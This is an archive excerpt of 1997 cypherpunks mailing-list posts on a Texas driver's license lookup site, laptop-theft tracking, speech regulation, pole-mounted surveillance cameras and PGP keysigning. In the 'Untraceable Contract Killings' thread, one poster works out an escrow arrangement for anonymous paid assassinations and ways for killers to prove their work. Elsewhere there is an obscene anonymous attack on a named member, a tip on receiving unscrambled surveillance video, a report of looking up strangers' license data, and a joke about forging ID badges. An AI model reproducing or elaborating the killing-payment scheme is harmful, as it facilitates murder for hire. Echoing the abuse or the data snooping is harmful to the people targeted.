   the Commerce Department had been asked to turn over information as
   part of such an investigation, "but we will certainly turn over to
   them whatever they ask for."
   
   By CASSANDRA BURRELL, Associated Press Writer
     _________________________________________________________________
   
   [ Global | Stateside | Sports | Politics | Opinions | Business |
   Techserver | Health & Science | Entertainment | Weather | Baseball |
   Basketball | Football | Hockey | Sport Server | MAIN ]
     _________________________________________________________________
   
   
    Copyright ) 1997 Nando.net
    Do you have some feedback for the Nando Times staff?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Thu, 12 Jun 1997 05:17:57 +0800
To: Peter Trei <trei@process.com>
Subject: Re: (Fwd) FWD: Texas Driver's License database on the web
In-Reply-To: <199706111929.MAA04945@toad.com>
Message-ID: <Pine.GSO.3.95.970611165931.20135B-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 11 Jun 1997, Peter Trei wrote:

>    Did Psychos-R-Us request this site?  "Could you create a database so I
> don't miss anyone when I go on a killing spree on the 900 block of
> Rosewood?"

The (very very very very very) minor redeeming factor is that you have to
be someone with knowledge of someone's valid Texas driver's license.  So
it's not *FULLY* available on the net.  Though, someone will probably leak
a userid in the next week or so, and then anyone can use it...

Why do people do these things?  (I wonder if publiclink is actually
physically located in Texas..)

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Thu, 12 Jun 1997 06:11:44 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Untraceable Contract Killings
In-Reply-To: <3.0.1.32.19970611095122.006bf104@popd.ix.netcom.com>
Message-ID: <Pine.LNX.3.96.970611152528.932A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 11 Jun 1997, Bill Stewart wrote:

> At 05:39 PM 6/10/97 -0700, Wei Dai wrote:
> >I think the novelty of Bell's scheme is that it allows assassination
> >payments to be pooled from a large number of anonymous payers without
> >explicit coordination (i.e., the payers do not have to communicate with
> >each other to work out a contract, etc.).  
> 
> That's not the novel part - in addition to anonymous contract killings,
> it's also easy to run an anonymous fund that _claims_ it will use any
> donations of digicash encrypted to the fund's public key for assassinating
> the designated target.  In both that approach, and Bell's, there's still
> the reputation problem of making sure the person collecting the money
> really does pay off the killer.

I don't think this is much of a problem.  As long as someone is found
dead prematurely, the people who offered money for the assassination
got their wish.  Whether or not it goes to the real killer is
irrelevant.  From the killer's point of view, the problem of whether
or not he will get his payment is easily solved:

Both parties could mutually agree to use an escrow service to take care
of releasing or retaining the money.  The service wouldn't have to be
anonymously run and would remain ignorant of the uses of its service
The payer would put up a certain amount of money either equal to,
greater than, or less than the cost of the killing depending on the
relative reputations of the payer and payee.  If the payee doesn't
claim the money after x number of days, it gets returned to the payer.
If the payee authorizes the release of the money to the payee and the
payee claims it, it goes to the payee.  And if only one authorizes the
release of the money to the payee, it remains with the escrow service.
This prevents the payer from ripping off the payee.  The only flaw is
that the payee could claim the money but the payer could not authorize
its release.  It's a great way to cheat someone out of a large amount
of money, but it doesn't do the cheater any good, because he won't be
able to benefit from it (unless the cheater happens to be the escrow
agent).

> What's novel about Bell's version
> (and I don't know whether it originate with him or not) is that
> it provides a cyberspace-only mechanism for the assassin to 
> demonstrate to the payer that he's the one who did the job
> and isn't some wannabe claiming to have done it to collect the cash.
> 	(like the wannabes who called newspapers claiming to
> 	have been the World Trade Center bombers, etc.)
> There are alternatives, like posting a photo of the corpse to
> a time-stamping service and then to Usenet, though this adds
> some risk to the assassination, and is less useful for
> public killings (e.g. if the President gets shot,
> and there's a well-known address for the assassination pool,
> the White House Press Corps may try to get their photographs
> into the pool before sending them to Reuters and, umm, AP.)

Bell's idea was basically that demonstrating foreknowledge of the
killing was adequete proof that the person demonstrating this
knowledge was the assassin.  This generalization can be used for
anonymous contract assassinations, also.  The assassin could give
vague information to the payer such as the method of killing, caliber
of bullet used, or the week that the killing is to take place.  In
fact, anonymous contracts could be viewed as the same thing as
AP, except that anonymous assassination contracts don't try to pretend
it's just about betting on someone's death.




Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Raymond Mereniuk" <raymond@wcs.net>
Date: Thu, 12 Jun 1997 08:32:18 +0800
To: cypherpunks@Algebra.COM
Subject: Re: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: <3.0.32.19970611092701.00683c54@best.com>
Message-ID: <199706112341.QAA05443@mat.wcs.net>
MIME-Version: 1.0
Content-Type: text/plain



>
> >                     The call goes to a Canadian office
> >                     that in turn phones the cops. So far,
> >                     it has a 100 percent recovery rate. 
> >
> ======  100% of WHAT?  Systems with it installed which are stolen?   How
> would you know what systems do NOT call in?  
> It's like the question the clerk asks at the airport: "Did anyone put
> anything in your luggage you don't know anything about?"
> 
> Now that the word is out, of course, the wily thief will eschew pluggin in
> until the hard drive is reformatted and installed
> with a clean OS.  As usual: the stupid will be caught. 

This has been discussed on this list before, about 1 year ago.  The 
Computrace software is installed on a place on the hard drive where 
DOS utilities like Fdisk and Format can not get at it.  This is the 
same as Diskmanager Version 7 or higher, Fdisk and Format will not 
remove this version of Diskmanager.

The Computrace software is configured to call the 1-800 number on a 
regular pre-assigned schedule and talk to the computers at Absolute 
Software.  If the notebook has been reported stolen the computers at 
Absolute will advise the subject unit to call back on a more frequent 
basis.  The Computrace software turns off all modem speaker 
functionality.

With all calls to a 1-800 number the calling number is reported to 
the call receiving site.  This is always the case and the calling 
party has no control over this feature, it just happens as the 1-800 
number owner is paying for the call.  As a matter of interest this 
type of business could not be based in the USA as it is unlawful to 
use the calling number information gained through 1-800 calls for any 
business advantage or use, including this one.  However, US LEAs have 
no problem cooperating with Absolute Software and they do cooperate.

I have no connection to Absolute Software other than I visited their 
web site and I have a pretty good idea how they perform their 
promises.  I have no idea on how to remove the Computrace program 
unless it is on a Seagate or Western Digital hard drive.  Both of 
these manufacturers make low-level format programs for their IDE 
drive products available on their web sites and a low-level format 
will remove Diskmanager and I assume Computrace.

I assume most notebooks which are recovered are found to be in the 
hands of a buyer rather than the person responsible for the actual 
theft.  But, the eventual buyer is indirectly responsible for the 
initial theft of the notebook.


Virtually

Raymond Mereniuk
Raymond@wcs.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom McClanahan <minuteman@fuse.net>
Date: Thu, 12 Jun 1997 06:49:51 +0800
To: cypherpunks@toad.com
Subject: mailing list
Message-ID: <339F2887.1F56@fuse.net>
MIME-Version: 1.0
Content-Type: text/plain



I would like to be on your mailing list.

minuteman@fuse.net

Thank you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Raymond Mereniuk" <raymond@wcs.net>
Date: Thu, 12 Jun 1997 10:41:02 +0800
To: cypherpunks@algebra.com
Subject: Re: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: <199706120058.TAA11171@mailhub.amaranth.com>
Message-ID: <199706120120.SAA05683@mat.wcs.net>
MIME-Version: 1.0
Content-Type: text/plain




> How is the buyer responsible even indirectly?
> 
> Someone puts an add in the paper NEC Laptop $1,500. I go and check it out
> and buy it. Should it be my respocibility to call NEC over in Japan and
> 
> If anyone is responcible for the theft other than the theif is the person
> who was so carless with their equipment.
> 
Legally Law Enforcement Agencies (LEA) and the courts willl find you 
responsible for being in possession  of stolen property.  If you 
purchased the unit from a storefront or a person selling the unit 
from their home you could deflect responsibility to those parties.  
I would suspect most stolen units are fdisk-ed,  re-formatted, and 
moved a minimum of a state or province and then sold through brokers 
who operate through a pager or cell phone.  The units are sold 
probably more in the range of $600 to $700 CAN Dollars for 486 color 
units and abit  more for Pentium units.  The brokers may offer the 
unit through an auction.

At this point the buyer should start to suspect something is not 
right, the units are too cheap and all the proprietary drivers have 
been removed.  The reason given is that they are being disposed of by 
a large corporation and it is policy to erase all data.  No manuals 
or documentation are offered with the unit.  Normally when you 
purchase an unit from the original retail buyer manuals and 
documentation and extras would be included with the unit and the 
seller would probably be willing to show you the bill of sale.  Would 
you buy a car from a seller offering no documentation or proof of 
ownership.

It is tough to take the argument that stolen notebooks are the fault 
of the victim seriously.  Notebook thieves can be pretty 
enterprising.  They walk into offices dressed as maintainance people, 
buy pass keys from the real maintainance people and go through every 
office.  A friend had a notebook taken from a locked office in a 
supposedly secure area, no signs of break and entry so no insurance 
coverage and there were notebooks and computers taken from three 
locked offices in the middle of the day.  So in this case it was my 
friend's fault for doing business in a shared office environment 
where someone had sold a pass key to the thief??  

If there was no market for stolen notebooks thieves would not steal 
them as there would be no gain.  In my experience most people selling 
merchanise of doubtful origins are not sophisticated, ask lots of 
questions and their stories quickly fall apart.  I have walked away 
from many deals when the origin of the goods were not clearly 
explained and I would suggest you do the same.

Virtually

Raymond Mereniuk
Raymond@wcs.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Thu, 12 Jun 1997 12:18:53 +0800
To: tzeruch@ceddec.com
Subject: Re: Thoughtcrime   (Re: My War)
In-Reply-To: <v03102800afc399044c85@[10.0.2.15]>
Message-ID: <v03102800afc5070052fa@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>On Tue, 10 Jun 1997, Steve Schear wrote:
>
>> All prohibition of speech should be based on the judgement of whether or
>> not specific individiuals (not general groups or socienty at large) can be
>> reasonably be deduced to be at immediate risk or be harmed from that speech.
>
>So, if "speech" can cause individuals in X to harm individuals in Y, there
>is reason to prohibit it.

Only if the risk is immediate.

>
>> I find lust to be a noble urge.
>

My ideas originate above my limbic system.

Then you've undoubtedly removed yourself from the gene pool ;-)

[snip]
>The information on how to do demolition is available from the army, and
>the ingredients were commonly available.  As was the truck he used to
>transport it.  We can prevent many fires by an outright ban on gasoline.
>
>What item, if banned, would have prevented the act?

None that wouldn't adversely impact legitimate activities.

>
>> >But I would not want to have someone leave the two components to a binary
>> >nerve gas on a shelf...
>>
>> Now you've transgressed from speech to possession.
>
>I thought libertarians thought any mere possession should not be a crime.

I don't have any problem with sales high-performance autos, or for that
matter possession of substances or machanisms as long as any citizen who
can demonstrate (anonymously) to a regulatory agency that they understand
the use of such items can keep them.

>> >This form of "information" is an addictive drug, with the side effect is
>> >that it destroys others much more than it destroys the abuser,
>>
>> Can you back up this assertion with clinical data?
>
>Not off hand.  I also cannot back up the statement that I will die if I
>drink a particular poison (since I may have a particular immunity) without
>conducting the test.  Can you suggest how we may conduct such a test on
>kiddie porn without threatening children?

No, but I think those who suggest such restrictions should be forced to
personally fund such research.

>
>No, I am an autoarchist not an anarchist.  I belive in self-control which
>is the difference between liberty an license.  If liberty is given to
>barbarians it will be lost for everyone.

Liberty never given its won or taken.

Self-control is too nebulous, for me I prefer responsibility.

>
>I want cryptography available even though it makes child-porn easier to
>hide for the same reason I want gasoline available although it makes arson
>easier to commit.  But I do not have to be pro-arson to be pro-gasoline.
>
>And I can differentiate between ideas (which are protected free speech),
>and things without any such content.

Ideas are not protected speech, since they only exist in the mind, only
expressions are protected.  As I stated earlier, all expressions (however
objectionable they may be to some or many members of society) deserve
protection, unless they immediately threaten (or server to incite others to
threaten) the physical well being of specific individuals or groups.  Porn
and instructions for making conventional or weapons of mass distruction
should not be regulated.

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 12 Jun 1997 10:28:36 +0800
To: cypherpunks@toad.com
Subject: [IMPORTANT] e$
Message-ID: <199706120220.TAA03032@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



May Tim C[ocksucker] May's forgeries get stuck up 
his ass so he'll have to shit through his filthy 
mouth for the rest of its miserable life.

        \\\
        {OQ} Tim C[ocksucker] May
         (_)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Thu, 12 Jun 1997 08:51:50 +0800
To: cypherpunks@einstein.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: [CNN] Stolen Laptops and lame 'solution' (fwd)
Message-ID: <199706120020.TAA09073@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Forwarded message:

> From: "Raymond Mereniuk" <raymond@wcs.net>
> Date: Wed, 11 Jun 1997 17:22:48 +0000
> Subject: Re: [CNN] Stolen Laptops and lame 'solution'

> theft.  But, the eventual buyer is indirectly responsible for the 
> initial theft of the notebook.

Bullshit. That is like saying the person being raped is responsible for the
rape. This is plain and simple victim-speak.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 12 Jun 1997 09:04:24 +0800
To: cypherpunks@Algebra.COM
Subject: Re: [CNN] Stolen Laptops and lame 'solution'
Message-ID: <199706120058.TAA11167@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706112341.QAA05443@mat.wcs.net>, on 06/11/97 
   at 05:22 PM, "Raymond Mereniuk" <raymond@wcs.net> said:

>I assume most notebooks which are recovered are found to be in the  hands
>of a buyer rather than the person responsible for the actual  theft. 
>But, the eventual buyer is indirectly responsible for the  initial theft
>of the notebook.

How is the buyer responsible even indirectly?

Someone puts an add in the paper NEC Laptop $1,500. I go and check it out
and buy it. Should it be my respocibility to call NEC over in Japan and
find out if it was reported stolen (if they even keep such records).
Should I have to call the manufacture every time I buy a some used
equipment? Perhaps I should have a background check done before I buy
anything.

If anyone is responcible for the theft other than the theif is the person
who was so carless with their equipment.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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=XwvD
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Thu, 12 Jun 1997 08:16:12 +0800
To: Ryan Anderson <randerso@ece.eng.wayne.edu>
Subject: Re: (Fwd) FWD: Texas Driver's License database on the web
In-Reply-To: <199706111929.MAA04945@toad.com>
Message-ID: <3.0.2.32.19970611200353.03296518@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 05:01 PM 6/11/97 -0400, Ryan Anderson wrote:
>The (very very very very very) minor redeeming factor is that you have to
>be someone with knowledge of someone's valid Texas driver's license.  So
>it's not *FULLY* available on the net.  Though, someone will probably leak
>a userid in the next week or so, and then anyone can use it...

I am not in Texas, and I have used the system.  I took email name I suspected 
were in Texas and started looking up voter and DMV info.  Some I couldn't 
find, but I hit several people I have never met.  For some, I did a whois on 
their domain name and used that city to narrow the search.

I understand the site is now password protected, but they offer accounts to 
others who are not in Texas.


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  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 12 Jun 1997 09:45:20 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Can you say anti-trust? [CNN]
Message-ID: <199706120113.UAA09234@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

>    CNN logo 
>      
>              MICROSOFT, NETSCAPE JOIN FORCES IN WEB PRIVACY BATTLE
>                                        
>      June 11, 1997
>      Web posted at: 1:56 p.m. EDT (1756 GMT) web graphic
>      
>      WASHINGTON (AP) -- Microsoft Corp. and Netscape Communications
>      Corp., two of the Internet's biggest rivals, Wednesday announced a
>      stunning alliance aimed at more tightly controlling the personal
>      information that businesses collect about World Wide Web users.
>      
>      The teaming of the two software competitors reflected the heightened
>      concern in the business community that government regulators may
>      impose rules to crack down on privacy intrusions by Internet
>      companies.


    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 12 Jun 1997 08:29:01 +0800
To: cypherpunks@toad.com
Subject: Re: Thoughtcrime   (Re: My War)
Message-ID: <199706120019.UAA06228@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



tzeruch@ceddec.com wrote:
> On Tue, 10 Jun 1997, Steve Schear wrote:
> > I find lust to be a noble urge.
> 
> Then you probably find rape a noble deed.  I do not.  If you are referring
> to the acts our net.loon often posts to this list, I hope you enjoy
> placing yourself at his level.  My ideas originate above my limbic system.

  You forgot to add, "...and your mother wears army boots!" before
your attempted "guilt by association" slur and the placing of your
esteemed self on an intellectual pedestal.
  I have noticed in the list's dick wars and pissing contests that
those with the shortest dicks put themselves on pedestals in order
to compensate for their physical shortcomings and those with the 
smallest bladders use the largest dictionary in hopes that extra
acidity will compensate for lack of volume.

  It is my contention that those who enjoy "mental masturbation"
also "find lust to be a noble urge."
  Of course, I'm Chinese...I could be Wong.

A thousand monkeys spanking typewriters and purporting to be:
TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 12 Jun 1997 09:56:47 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Unleashing Micro Viruses on Networks (fwd)
Message-ID: <199706120125.UAA09309@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Forwarded message:

> Date: Wed, 11 Jun 1997 13:57:00 -0400
> From: John Young <jya@pipeline.com>
> Subject: Unleashing Micro Viruses on Networks

>      6-11-97, Janes' Defence Weekly:

>      Thumbnail-sized micro-robots, known as `microbots', will
>      also be unleashed by micro-air vehicles and naval guns. These
>      parasites will creep into electronic equipment, attach
>      themselves, and keep themselves alive by draining generator
>      power. 
> 
>      Once the electronics system's energy is depleted, the fully
>      charged microscopic vermin will search for a new victim. 
> 
>      The main problem will be that they are too small to carry
>      identification equipment and so they infect indiscriminately.
>      As such, they must be deployed far away from allied
>      equipment. 
> 
>      However, packages of microbots can be destroyed remotely
>      as allies prepare to invade enemy territory. 

Check out:

Bug Park
James P. Hogan
ISBN 0-671-87773-9
$22.00 hardbound


    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Thu, 12 Jun 1997 11:23:09 +0800
To: cypherpunks@toad.com
Subject: Re: mailing list
In-Reply-To: <339F2887.1F56@fuse.net>
Message-ID: <339F56B1.75C9@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain



Tom McClanahan wrote:
> 
> I would like to be on your mailing list.
> 
> minuteman@fuse.net
> 
> Thank you.
IMHO, anyone dumb enough to send this shit shouldn't *be* on a mailing
list.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 12 Jun 1997 10:39:50 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re:Texas Driver's License database on the web (fwd)
Message-ID: <199706120208.VAA09509@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 11 Jun 1997 22:17:24 -0400
> Subject: Re:Texas Driver's License database on the web
> From: lucifer@dhp.com (lucifer Anonymous Remailer)

>   It amazes me that in an age when government and corporations have
> access to untold mountains of information about all of us, that we
> seem to get upset when Joe Average is given access to that same
> information.

I at least have a contractual relationship with both of them that provides
me at least some promise of fair arbitration. Something I don't have with
Joe Average implicitly.

>   The Machine feeds off of us by taking away our rights of self
> expression and self defence and then convincing us that the
> Machine is our benefactor and protector while our fellow humans
> are a threat to us and should be feared.

The Machine takes the rights we give up willingly for a long-term loan on a
40" television and another $10k a year.

>   Thus we end up fearing people with different religious views
> instead of the Machine that launches a murderous assault on the
> men, women and children who are a threat to our mainstream views.

Not just religious views, but skin color, sex, etc. This is a function of
all social animals (in fact the society wouldn't work if it wasn't) and in
particular primates. To draw the conclusion that this somehow flows from our
contractual agreements based on impatience and greed is illogical.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Thu, 12 Jun 1997 09:22:32 +0800
To: reusch@pluto.njcc.com
Subject: Re: IRS T-Pole Surveillance
In-Reply-To: <3.0.1.32.19970611142023.006ad890@mail.njcc.com>
Message-ID: <199706120113.VAA02927@pig.die.com>
MIME-Version: 1.0
Content-Type: text



Michael  F. Reusch wrote :

> 
> >The Internal Revenue Service requires enclosed surveillance systems 
> >configured as transformers for mounting on telephone poles....
> 
	This and cameras disguised as Cable TV amplifiers are very
common means of diguising federal video surveillance gear.  Most
people don't know enough about what is on the wires and poles near
them to tell the difference, which is often subtle but obvious to
someone technically trained - things like pole pig transformers
that have no HV connection to the distribution wires...  or cable
line amplifiers not actually connected to a cable trunk line or
of a different type than the rest of the system.   Closer examination
will often disclose a little window with a lens behind it, which
of course is uncommon on regular pole pigs...

	Most of this gear transmits FM NTSC video signals in various
standard microwave bands (1.7 ghz 2.2 ghz 2.4, 5.3 ghz etc) used for much
federal bugging.   No attempt is usually made to scramble the 
signal, so if you have the right microwave receivers (some European
satellite receivers cover this band for example), you too can watch
some mafia don go into and out of his house....  TV stations have
occasionally  discovered these signals on their remote pickup
antennas for live newsfeeds from remote trucks - many of these operate
nearby in frequency from tall buildings or TV towers with huge line
of sight coverage and bored techs sometimes tune up and down the
band to see what they find ....

	I have actually seen one of the fake Cable TV amplifier
bugs for sale at the Dayton Ham flea market.  I didn't buy it,
but it was an interesting curio.

							Dave Emery
							Weston, Mass.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 12 Jun 1997 10:53:20 +0800
To: "Raymond Mereniuk" <raymond@wcs.net>
Subject: Re: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: <199706120120.SAA05683@mat.wcs.net>
Message-ID: <199706120233.VAA12526@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706120120.SAA05683@mat.wcs.net>, on 06/11/97 
   at 07:02 PM, "Raymond Mereniuk" <raymond@wcs.net> said:

>> How is the buyer responsible even indirectly?
>> 
>> Someone puts an add in the paper NEC Laptop $1,500. I go and check it out
>> and buy it. Should it be my respocibility to call NEC over in Japan and
>> 
>> If anyone is responcible for the theft other than the theif is the person
>> who was so carless with their equipment.
>> 
>Legally Law Enforcement Agencies (LEA) and the courts willl find you 
>responsible for being in possession  of stolen property.  If you 
>purchased the unit from a storefront or a person selling the unit  from
>their home you could deflect responsibility to those parties.   I would
>suspect most stolen units are fdisk-ed,  re-formatted, and  moved a
>minimum of a state or province and then sold through brokers  who operate
>through a pager or cell phone.  The units are sold  probably more in the
>range of $600 to $700 CAN Dollars for 486 color  units and abit  more for
>Pentium units.  The brokers may offer the  unit through an auction.

They will be sold at whatever the market will bear for used equipment
regardless of how the equipment was obtained. Usally the person who steals
the equipment will not be the one selling it to the general public so any
discounts because the item is "hot" are usally gone before it get's to joe
sixpack.

>At this point the buyer should start to suspect something is not  right,
>the units are too cheap and all the proprietary drivers have  been
>removed.  The reason given is that they are being disposed of by  a large
>corporation and it is policy to erase all data.  No manuals  or
>documentation are offered with the unit.  Normally when you  purchase an
>unit from the original retail buyer manuals and  documentation and extras
>would be included with the unit and the  seller would probably be willing
>to show you the bill of sale.  Would  you buy a car from a seller
>offering no documentation or proof of  ownership.

There is no comparison between the two. For better or worse there are
state madated ownership papers for autos. I can see that you have not
spent much time in the used electronics market. Equipment may change hands
multiple time over a period of years before it finaly reaches your hands.
It is common for the seller not to have any documentation or recipts for
the equipment. To use your comparison you wouldn't expect the owners
manual & receipt from the dealship when you went to buy a '65 F100 would
you?

>It is tough to take the argument that stolen notebooks are the fault  of
>the victim seriously.  Notebook thieves can be pretty 
>enterprising.  They walk into offices dressed as maintainance people, 
>buy pass keys from the real maintainance people and go through every 
>office.  A friend had a notebook taken from a locked office in a 
>supposedly secure area, no signs of break and entry so no insurance 
>coverage and there were notebooks and computers taken from three  locked
>offices in the middle of the day.  So in this case it was my  friend's
>fault for doing business in a shared office environment  where someone
>had sold a pass key to the thief??

No it was his fault for leaving the security of his property to someone
else who obviously has some rather poor security policies. I have wore out
more than 1 credit cards getting into locked offices because the key was
not available. The you have those that think a locked door is secure when
there is a 3' drop ceiling that anyone can use to climb over the door
with. If that had been $5,000 cash rather than that laptop I bet your
friend would have thought twice of leaving it in that room. 

>If there was no market for stolen notebooks thieves would not steal  them
>as there would be no gain.  In my experience most people selling 
>merchanise of doubtful origins are not sophisticated, ask lots of 
>questions and their stories quickly fall apart.  I have walked away  from
>many deals when the origin of the goods were not clearly  explained and I
>would suggest you do the same.

Bah this is just bull. The purchaser of used equipment is not looking for
stolen equipment. The market is for inexpensive used equipment which
theifs take advantage of. This is an important difference to make. The
amount of stolen equipment in the used equipment market is quite small.
The end buyer should not be held responcible for the illegal activities of
the seller.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 12 Jun 1997 12:44:31 +0800
To: cypherpunks@Algebra.COM
Subject: Photo ID is not needed for key signings....
In-Reply-To: <199706112323.QAA12560@peregrine.eng.sun.com>
Message-ID: <v03102802afc52bfb5491@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



["cypherpunks-announce@toad.com" deleted as that is really not a list for
discussions.]


At 4:23 PM -0700 6/11/97, Ed Falk wrote:

>Hi all; I haven't seen the agenda yet, but if there is time & interest,
>I would be willing to organize a PGP key-signing party.
>
>Signify interest by mailing your key -- or a pointer to it -- to me
>by Friday.  Come to the c'punks meeting with photo ID and your PGP
>fingerprint.

"Sigh." Why do people persist in thinking that a photo ID is useful for PGP
keysignings?

I view a keysigning as saying that the person I know as "Lucky Green" is
asking me to sign the key he presents as his key, not whether Missouri
issued him a driver's license in that name, nor whether the company he
worked for in Munich issued him a photo ID under than name.

This is what the "web of trust" is all about.  It is _not_ about True Names
as proved by photo IDs.

(However, for those lacking photo IDs sufficient for Ed's purposes, I'm
asking Eric Hughes (not his True Name) if I can borrow his badge laminator.
I'll set it up outside the keysigning room. Bring a photo of some sort and
I'll make you a Yoyodyne Corporation employee badge.)

--Tim May (not his True Name)

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Thu, 12 Jun 1997 09:55:30 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Thoughtcrime   (Re: My War)
In-Reply-To: <199706120019.UAA06228@dhp.com>
Message-ID: <97Jun11.214843edt.32257-1@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 11 Jun 1997, lucifer Anonymous Remailer wrote:

> tzeruch@ceddec.com wrote:
